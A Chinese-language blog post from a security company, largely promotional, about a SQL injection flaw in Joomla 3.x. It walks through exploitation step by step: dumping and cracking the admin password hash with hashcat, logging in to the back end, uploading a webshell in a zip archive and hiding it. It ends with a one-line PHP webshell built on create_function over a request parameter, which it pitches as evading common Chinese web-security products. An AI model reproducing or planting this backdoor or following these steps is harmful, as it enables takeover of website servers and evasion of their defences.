Joomla 3.X版本 最新SQL注入漏洞复现

  Joomla 3.X版本 最新SQL注入漏洞       Joomla 3.X版本爆出高危SQL注入漏洞，产生漏洞的位置是位于con_fields的组件   功能上，之前我们sine安全在五月份就已经发现这个3.70版本的漏洞了，并发布到   我们安全研究栏目里，链接如下：joomla 注入漏洞 获取管理员及执行命令漏洞，   加上最近很多用Joomla 开源程序的网站，都被黑客入侵并篡改了网站的快照，尤   其国内的一些外贸用户，以及设有国外站点的公司，都深受其害。目前该漏洞包含   3.X所有版本，不得不重视。Sine安全公司是一家专注于：服务器安全、网站安全   、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商
  。     下面我们SINE安全对Joomla程序代码，进行了详细的网站安全分析，以及漏洞原理   和利用方法做一下记录。   Joomla漏洞的具体细节可以看下这篇安全文章     http://www.sinesafe.com/article/20170531/joomla.html,我们sine安全详细分   析过了,如果还是不太了解的话,可以去百度搜索下Joomla相关的漏洞详情,我们   sine安全在这里给大家介绍一下该如何利用这个Joomla漏洞。

  在对其Joomla网站渗透测试当中,直接手动获取账户密码，获取到的hash值，   hashcat默认就支持该散列类型,用hashcat工具先暴力猜解一下,破解出来的时间根   据计算机的配置，CPU核心高的话，时间会快一些。总之拿到的Joomla管理员的账   号密码，就可以正常的登录网站的后台，然后进去拿网站的权限，上传我们的网站   木马，Joomla后台拿shell的办法就是很简单的，跟之前的那个wordpress主题漏洞   道理是一个样的，上传zip的压缩包，然后解压到网站根目录下即可。Sine安全公   司是一家专注于：服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测   试,安全服务于一体的网络安全服务提供商。     上传好我们的网站木马后，尽可能的把文件隐藏到比较隐蔽的地方，下面给大家提   供一个免杀的网站木马，什么安全狗，什么云锁，护卫神，直接过。网站木马免杀   方法非常简单,通过php创建自定义函数,然后调用该函数,而函数里面可接任意值,   基本是没有任何木马特征的。代码如下：<?php $sl = create_function('', @   $_REQUEST['sinesafe']);$sl();?>